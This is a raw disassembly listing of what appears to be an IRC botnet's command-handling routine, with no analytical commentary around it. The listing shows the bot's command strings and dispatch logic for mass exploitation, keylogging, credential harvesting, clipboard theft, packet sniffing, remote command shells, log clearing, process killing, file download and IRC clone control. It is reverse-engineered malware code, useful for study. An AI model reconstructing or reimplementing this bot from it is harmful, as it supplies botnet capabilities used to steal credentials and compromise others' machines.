call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DE48 push [ebp+esi+var_90] push 0Fh push offset dword_4361B8 push offset dword_4361AC jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DE48: ; CODE XREF: sub_40CD3A+10F4j push edi push offset dword_43619C call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DE71 push [ebp+esi+var_90] push 0Eh push offset dword_436190 push offset dword_436184 jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DE71: ; CODE XREF: sub_40CD3A+111Dj push edi push offset aServer_tftp_of ; "server.tftp.off" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DE9A push [ebp+esi+var_90] push 4 push offset aServer ; "Server" push offset dword_436168 jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DE9A: ; CODE XREF: sub_40CD3A+1146j push edi push offset aBox_findfile_o ; "box.findfile.off" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4124AF push edi push offset aBox_ff_off ; "box.ff.off" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4124AF push edi push offset aBox_procs_off ; "box.procs.off" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41249A push edi push offset aBox_ps_off ; "box.ps.off" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41249A push edi push offset aClone_off ; "clone.off" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DF17 push [ebp+esi+var_90] push 17h push offset aClone ; "Clone" push offset dword_436108 jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DF17: ; CODE XREF: sub_40CD3A+11C3j push edi push offset aLockdown_stop ; "lockdown.stop" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DF40 push [ebp+esi+var_90] push 19h push offset aSecure_0 ; "Secure" push offset dword_4360E0 jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DF40: ; CODE XREF: sub_40CD3A+11ECj push edi push offset aVuln_stop ; "vuln.stop" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DF69 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DF69: ; CODE XREF: sub_40CD3A+1215j push edi push offset aVuln_stats ; "vuln.stats" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412481 push edi push offset aVuln_st ; "vuln.st" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412481 push edi push offset aEnz_reh4sh ; "enz.reh4sh" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412460 push edi push offset aEnz_rh4 ; "enz.rh4" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412460 push edi push offset aEnz_endt3rm ; "enz.endt3rm" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41243E push edi push offset aEnz_et3 ; "enz.et3" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41243E push edi push offset aEnz_t3rm1nate ; "enz.t3rm1nate" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4123F5 push edi push offset aEnz_t3rm1 ; "enz.t3rm1" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4123F5 push edi push offset aEnz_status ; "enz.status" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4123B7 push edi push offset aEnz_s ; "enz.s" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4123B7 push edi push offset aEnz_id ; "enz.id" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412380 push edi push offset aEnz_i ; "enz.i" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412380 push edi push offset aBox_rebewt ; "box.rebewt" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40E0B7 call sub_409D12 test eax, eax mov eax, offset dword_436004 jnz short loc_40E089 mov eax, offset dword_435FCC loc_40E089: ; CODE XREF: sub_40CD3A+1348j push eax lea eax, [ebp+var_2D8] push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 1Ch jmp loc_40D68B ; --------------------------------------------------------------------------- loc_40E0B7: ; CODE XREF: sub_40CD3A+133Aj push edi push offset aThreads_list ; "threads.list" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4122A2 push edi push offset aThreads_l ; "threads.l" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4122A2 push edi push offset aEnz_aliases ; "enz.aliases" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41227F push edi push offset aEnz_al ; "enz.al" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41227F push edi push offset aEnz_log ; "enz.log" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412190 push edi push offset aEnz_lg ; "enz.lg" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412190 push edi push offset aUtil_clearlog ; "util.clearlog" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412174 push edi push offset aUtil_clg ; "util.clg" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412174 push edi push offset aBox_netinfo ; "box.netinfo" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41213A push edi push offset aBox_ni ; "box.ni" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41213A push edi push offset aBox_sysinfo ; "box.sysinfo" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41210F push edi push offset aBox_si ; "box.si" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41210F push edi push offset aEnz_beg0ne ; "enz.beg0ne" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4120D5 push edi push offset aEnz_b3g ; "enz.b3g" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4120D5 push edi push offset aBox_procs ; "box.procs" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411FB3 push edi push offset aBox_ps ; "box.ps" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411FB3 push edi push offset aBox_harvest ; "box.harvest" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411F89 push edi push offset aBox_key ; "box.key" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411F89 push edi push offset aBox_uptime ; "box.uptime" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411F02 push edi push offset aBox_up ; "box.up" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411F02 push edi push offset aBox_driveinfo ; "box.driveinfo" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411EE5 push edi push offset aBox_drv ; "box.drv" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411EE5 push edi push offset aBox_testdlls ; "box.testdlls" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411ECC push edi push offset aBox_dll ; "box.dll" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411ECC push edi push offset aBox_opencmd ; "box.opencmd" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411E85 push edi push offset aBox_ocmd ; "box.ocmd" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411E85 push edi push offset aBox_ocmd_off ; "box.ocmd.off" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40E302 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40E302: ; CODE XREF: sub_40CD3A+15AEj push edi push offset aEnz_who ; "enz.who" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40E389 cmp [ebp+var_8], ebx jnz short loc_40E332 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h loc_40E332: ; CODE XREF: sub_40CD3A+15DCj mov edi, [ebp+arg_18] xor esi, esi loc_40E337: ; CODE XREF: sub_40CD3A+1643j cmp [edi], bl lea eax, [edi+1] jnz short loc_40E343 mov eax, offset aEmpty ; "<Empty>" loc_40E343: ; CODE XREF: sub_40CD3A+1602j push eax push esi lea eax, [ebp+var_2D8] push offset aD_S ; "%d. %s" push eax call sub_415316 push 1 lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40E337 push offset dword_435E2C jmp loc_41123A ; --------------------------------------------------------------------------- loc_40E389: ; CODE XREF: sub_40CD3A+15D7j push edi push offset aBox_getclip ; "box.getclip" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411E44 push edi push offset aBox_gc ; "box.gc" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411E44 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411E19 push edi push offset aUtil_farp ; "util.farp" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411E19 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411DE9 push edi push offset aUtil_fdns ; "util.fdns" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411DE9 push edi push offset aVuln_currentip ; "vuln.currentip" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411DAF push edi push offset aVuln_cip ; "vuln.cip" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411DAF push edi push offset aServer_httpd_o ; "server.httpd.on" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411C15 push edi push offset aServer_web_on ; "server.web.on" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411C15 push edi push offset aServer_tftp_on ; "server.tftp.on" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411ADD push edi push offset aServer_tf_on ; "server.tf.on" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411ADD push edi push offset aVuln_massexplo ; "vuln.massexploit" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4117DE push edi push offset aVall ; "vall" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4117DE mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40D18F push [ebp+arg_8] push offset aEnz_nick ; "enz.nick" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4117BD push [ebp+arg_8] push offset aEnz_n ; "enz.n" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4117BD push [ebp+arg_8] push offset aEnz_join ; "enz.join" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41179D push [ebp+arg_8] push offset aEnz_j ; "enz.j" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41179D push [ebp+arg_8] push offset aEnz_part ; "enz.part" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411787 push [ebp+arg_8] push offset aEnz_pt ; "enz.pt" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411787 push [ebp+arg_8] push offset aEnz_raw ; "enz.raw" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411753 push [ebp+arg_8] push offset aEnz_r ; "enz.r" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411753 push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4116A3 push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4116A3 push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4115F8 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4115F8 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4115AD push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4115AD push [ebp+arg_8] push offset aEnz_prefix ; "enz.prefix" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411598 push [ebp+arg_8] push offset aEnz_pr ; "enz.pr" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411598 push [ebp+arg_8] push offset aBox_open ; "box.open" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41156E push [ebp+arg_8] push offset aBox_o ; "box.o" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41156E push [ebp+arg_8] push offset aEnz_setserve ; "enz.setserve" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411549 push [ebp+arg_8] push offset aEnz_se ; "enz.se" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411549 push [ebp+arg_8] push offset aEnz_dns ; "enz.dns" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4114EA push [ebp+arg_8] push offset aEnz_dn ; "enz.dn" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4114EA push [ebp+arg_8] push offset aBox_killprocna ; "box.killprocname" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4114BE push [ebp+arg_8] push offset aBox_kpn ; "box.kpn" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4114BE push [ebp+arg_8] push offset aBox_prockillid ; "box.prockillid" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411463 push [ebp+arg_8] push offset aBox_pkid ; "box.pkid" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411463 push [ebp+arg_8] push offset aBox_delete ; "box.delete" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41142C push [ebp+arg_8] push offset aBox_del ; "box.del" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41142C push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41134C push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41134C push [ebp+arg_8] push offset aBox_filelist ; "box.filelist" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411331 push [ebp+arg_8] push offset aBox_fl ; "box.fl" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411331 push [ebp+arg_8] push offset aEnz_visit ; "enz.visit" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411245 push [ebp+arg_8] push offset aEnz_v ; "enz.v" call sub_415730 pop ecx test eax, eax pop ecx jz loc_411245 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4111D1 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4111D1 push [ebp+arg_8] push offset aBox_cmd ; "box.cmd" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41117D push [ebp+arg_8] push offset aBox_cm ; "box.cm" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41117D push [ebp+arg_8] push offset aBox_readfile ; "box.readfile" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4110F8 push [ebp+arg_8] push offset aBox_rf ; "box.rf" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4110F8 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40E9A2 push edi push offset aOn ; "on" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40E96A push 18h call sub_41501C test eax, eax pop ecx jle short loc_40E898 push offset unk_435B84 jmp loc_40F8E8 ; --------------------------------------------------------------------------- loc_40E898: ; CODE XREF: sub_40CD3A+1B52j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_36C], eax mov eax, [ebp+var_4] mov [ebp+var_2E4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_2E0], eax jnz short loc_40E8DA mov esi, offset dword_42C314 push offset byte_43B188 push esi call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40E8DA mov esi, [ebp+var_8C] loc_40E8DA: ; CODE XREF: sub_40CD3A+1B82j ; sub_40CD3A+1B98j push esi lea eax, [ebp+var_368] push 80h push eax call sub_41588A lea eax, [ebp+var_2D8] push offset unk_435B40 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 18h push eax call sub_414DDA add esp, 20h mov [ebp+var_2E8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36C] push ebx push eax push offset sub_4024D0 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_2E8] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_40E95D call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_435AF0 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_40E955: ; CODE XREF: sub_40CD3A+1C29j push 32h call dword_421060 ; Sleep loc_40E95D: ; CODE XREF: sub_40CD3A+1C08j cmp [ebp+var_2DC], ebx jz short loc_40E955 jmp loc_40F8F6 ; --------------------------------------------------------------------------- loc_40E96A: ; CODE XREF: sub_40CD3A+1B42j push edi push offset aOff ; "off" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40F8F6 push ebx push 18h call sub_414FCF pop ecx cmp eax, ebx pop ecx jle short loc_40E998 push eax push offset unk_435AA0 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_40E998: ; CODE XREF: sub_40CD3A+1C51j push offset unk_435A64 jmp loc_40F8E8 ; --------------------------------------------------------------------------- loc_40E9A2: ; CODE XREF: sub_40CD3A+1B2Dj push [ebp+arg_8] push offset aBox_keylog ; "box.keylog" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40EB27 push edi push offset aOn ; "on" call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40EA13 push edi push offset aFile ; "file" call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40EA13 push edi push offset aOff ; "off" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40F8F6 push ebx push 1Ah call sub_414FCF pop ecx cmp eax, ebx pop ecx jle short loc_40EA09 push eax push offset unk_435A08 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_40EA09: ; CODE XREF: sub_40CD3A+1CC2j push offset unk_4359C8 jmp loc_40F8E8 ; --------------------------------------------------------------------------- loc_40EA13: ; CODE XREF: sub_40CD3A+1C8Ej ; sub_40CD3A+1C9Fj push 1Ah call sub_41501C test eax, eax pop ecx jle short loc_40EA29 push offset unk_435994 jmp loc_40F8E8 ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40CD3A+1CE3j mov eax, [ebp+arg_4] push edi mov [ebp+var_36C], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_2E4], eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40EA58 mov [ebp+var_2E0], 1 jmp short loc_40EA61 ; --------------------------------------------------------------------------- loc_40EA58: ; CODE XREF: sub_40CD3A+1D10j mov eax, [ebp+var_8] mov [ebp+var_2E0], eax loc_40EA61: ; CODE XREF: sub_40CD3A+1D1Cj mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_40EA88 mov esi, offset dword_42C30C push offset byte_43B188 push esi call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40EA88 mov esi, [ebp+var_8C] loc_40EA88: ; CODE XREF: sub_40CD3A+1D30j ; sub_40CD3A+1D46j push esi lea eax, [ebp+var_364] push 80h push eax call sub_41588A lea eax, [ebp+var_2D8] push offset unk_435960 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 1Ah push eax call sub_414DDA add esp, 20h mov [ebp+var_368], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36C] push ebx push eax push offset sub_4021FB push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_368] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_40EB1A call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_435910 loc_40EAFE: ; CODE XREF: sub_40CD3A+1C16j ; sub_40CD3A+1C59j ... lea eax, [ebp+var_2D8] push eax call sub_415316 loc_40EB0A: ; CODE XREF: sub_40CD3A+5A12j add esp, 0Ch jmp loc_40F8F6 ; --------------------------------------------------------------------------- loc_40EB12: ; CODE XREF: sub_40CD3A+1DE6j push 32h call dword_421060 ; Sleep loc_40EB1A: ; CODE XREF: sub_40CD3A+1DB6j cmp [ebp+var_2DC], ebx jz short loc_40EB12 jmp loc_40F8F6 ; --------------------------------------------------------------------------- loc_40EB27: ; CODE XREF: sub_40CD3A+1C79j push [ebp+arg_8] push offset aBox_net ; "box.net" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40EDD1 cmp dword_43C620, ebx jz short loc_40EB58 cmp dword_43C648, ebx jz short loc_40EB58 push offset dword_4358B8 jmp loc_40EDBE ; --------------------------------------------------------------------------- loc_40EB58: ; CODE XREF: sub_40CD3A+1E0Aj ; sub_40CD3A+1E12j cmp [ebp+var_C], ebx jz loc_40F526 mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40EB80 push eax push [ebp+var_C] call sub_4158E0 pop ecx mov [ebp+arg_0], eax pop ecx loc_40EB80: ; CODE XREF: sub_40CD3A+1E36j push edi push offset aStart ; "start" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40EBEC cmp [ebp+arg_18], ebx jz short loc_40EBBA push [ebp+arg_0] push 3 loc_40EB9B: ; CODE XREF: sub_40CD3A+1EC8j ; sub_40CD3A+1EE0j ... call sub_412C6C push eax lea eax, [ebp+var_2D8] push offset aS_1 ; "%s" push eax call sub_415316 add esp, 14h jmp loc_40F526 ; --------------------------------------------------------------------------- loc_40EBBA: ; CODE XREF: sub_40CD3A+1E5Aj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_412F13 add esp, 0Ch test eax, eax lea eax, [ebp+var_2D8] jz short loc_40EBE2 push offset dword_43587C jmp loc_40EDC4 ; --------------------------------------------------------------------------- loc_40EBE2: ; CODE XREF: sub_40CD3A+1E9Cj push offset dword_435848 jmp loc_40EDC4 ; --------------------------------------------------------------------------- loc_40EBEC: ; CODE XREF: sub_40CD3A+1E55j push edi push offset aStop ; "stop" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40EC04 push [ebp+arg_0] push 4 jmp short loc_40EB9B ; --------------------------------------------------------------------------- loc_40EC04: ; CODE XREF: sub_40CD3A+1EC1j push edi push offset aPause ; "pause" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40EC1F push [ebp+arg_0] push 5 jmp loc_40EB9B ; --------------------------------------------------------------------------- loc_40EC1F: ; CODE XREF: sub_40CD3A+1ED9j push edi push offset aContinue ; "continue" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40EC3A push [ebp+arg_0] push 6 jmp loc_40EB9B ; --------------------------------------------------------------------------- loc_40EC3A: ; CODE XREF: sub_40CD3A+1EF4j push edi push offset aDelete ; "delete" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40EC55 push [ebp+arg_0] push 1 jmp loc_40EB9B ; --------------------------------------------------------------------------- loc_40EC55: ; CODE XREF: sub_40CD3A+1F0Fj push edi push offset aShare ; "share" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40ECD8 cmp [ebp+arg_18], ebx jz short loc_40ECA5 cmp [ebp+var_8FC], bl jz short loc_40EC7B push ebx push [ebp+arg_18] push 1 jmp short loc_40EC86 ; --------------------------------------------------------------------------- loc_40EC7B: ; CODE XREF: sub_40CD3A+1F37j push [ebp+esi+var_88] push [ebp+arg_18] push ebx loc_40EC86: ; CODE XREF: sub_40CD3A+1F3Fj call sub_413053 push eax lea eax, [ebp+var_2D8] push offset aS_1 ; "%s" push eax call sub_415316 add esp, 18h jmp loc_40F526 ; --------------------------------------------------------------------------- loc_40ECA5: ; CODE XREF: sub_40CD3A+1F2Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_413248 add esp, 10h test eax, eax lea eax, [ebp+var_2D8] jz short loc_40ECCE push offset dword_4357F4 jmp loc_40EDC4 ; --------------------------------------------------------------------------- loc_40ECCE: ; CODE XREF: sub_40CD3A+1F88j push offset dword_4357C0 jmp loc_40EDC4 ; --------------------------------------------------------------------------- loc_40ECD8: ; CODE XREF: sub_40CD3A+1F2Aj push edi push offset aUser ; "user" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40ED6E mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40ED41 push [ebp+var_4] cmp [ebp+var_8FC], bl push [ebp+var_8C] push [ebp+arg_4] jz short loc_40ED0E push ebx push eax push 1 jmp short loc_40ED22 ; --------------------------------------------------------------------------- loc_40ED0E: ; CODE XREF: sub_40CD3A+1FCCj mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_40ED1E push esi push eax push ebx jmp short loc_40ED22 ; --------------------------------------------------------------------------- loc_40ED1E: ; CODE XREF: sub_40CD3A+1FDDj push ebx push eax push 2 loc_40ED22: ; CODE XREF: sub_40CD3A+1FD2j ; sub_40CD3A+1FE2j call sub_413369 push eax lea eax, [ebp+var_2D8] push offset aS_1 ; "%s" push eax call sub_415316 add esp, 24h jmp loc_40F526 ; --------------------------------------------------------------------------- loc_40ED41: ; CODE XREF: sub_40CD3A+1FB8j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_41387D add esp, 10h test eax, eax lea eax, [ebp+var_2D8] jz short loc_40ED67 push offset dword_435784 jmp short loc_40EDC4 ; --------------------------------------------------------------------------- loc_40ED67: ; CODE XREF: sub_40CD3A+2024j push offset dword_435754 jmp short loc_40EDC4 ; --------------------------------------------------------------------------- loc_40ED6E: ; CODE XREF: sub_40CD3A+1FADj push edi push offset aSend ; "send" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40EDB9 cmp [ebp+arg_18], ebx jz short loc_40EDB2 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_413B27 push eax lea eax, [ebp+var_2D8] push offset aS_1 ; "%s" push eax call sub_415316 add esp, 1Ch jmp loc_40F526 ; --------------------------------------------------------------------------- loc_40EDB2: ; CODE XREF: sub_40CD3A+2048j push offset dword_435720 jmp short loc_40EDBE ; --------------------------------------------------------------------------- loc_40EDB9: ; CODE XREF: sub_40CD3A+2043j push offset dword_4356F0 loc_40EDBE: ; CODE XREF: sub_40CD3A+1E19j ; sub_40CD3A+207Dj ... lea eax, [ebp+var_2D8] loc_40EDC4: ; CODE XREF: sub_40CD3A+1EA3j ; sub_40CD3A+1EADj ... push eax call sub_415316 pop ecx pop ecx jmp loc_40F526 ; --------------------------------------------------------------------------- loc_40EDD1: ; CODE XREF: sub_40CD3A+1DFEj push [ebp+arg_8] push offset aEnz_gethost ; "enz.gethost" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41101A push [ebp+arg_8] push offset aEnz_gh ; "enz.gh" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41101A mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40D18F push [ebp+arg_8] push offset aEnz_addalias ; "enz.addalias" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410FDB push [ebp+arg_8] push offset aEnz_aa ; "enz.aa" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410FDB push [ebp+arg_8] push offset aEnz_privmsg ; "enz.privmsg" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410F85 push [ebp+arg_8] push offset aEnz_pm ; "enz.pm" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410F85 push [ebp+arg_8] push offset aEnz_action ; "enz.action" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410F17 push [ebp+arg_8] push offset aEnz_ac ; "enz.ac" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410F17 push [ebp+arg_8] push offset aEnz_cycle ; "enz.cycle" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410EB1 push [ebp+arg_8] push offset aEnz_cy ; "enz.cy" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410EB1 push [ebp+arg_8] push offset aEnz_mode ; "enz.mode" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410E7A push [ebp+arg_8] push offset aEnz_m ; "enz.m" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410E7A push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410E0F push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410E0F push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410D8D push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410D8D push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410D1F push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410D1F push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410CF9 push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410CF9 push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410C99 push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410C99 push [ebp+arg_8] push offset aEnz_repeat ; "enz.repeat" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410BCA push [ebp+arg_8] push offset aEnz_rp ; "enz.rp" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410BCA push [ebp+arg_8] push offset aEnz_delay ; "enz.delay" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410B2F push [ebp+arg_8] push offset aEnz_de ; "enz.de" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410B2F push [ebp+arg_8] push offset aDownload_updiz ; "download.updiz" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4109B2 push [ebp+arg_8] push offset aDownload_upz 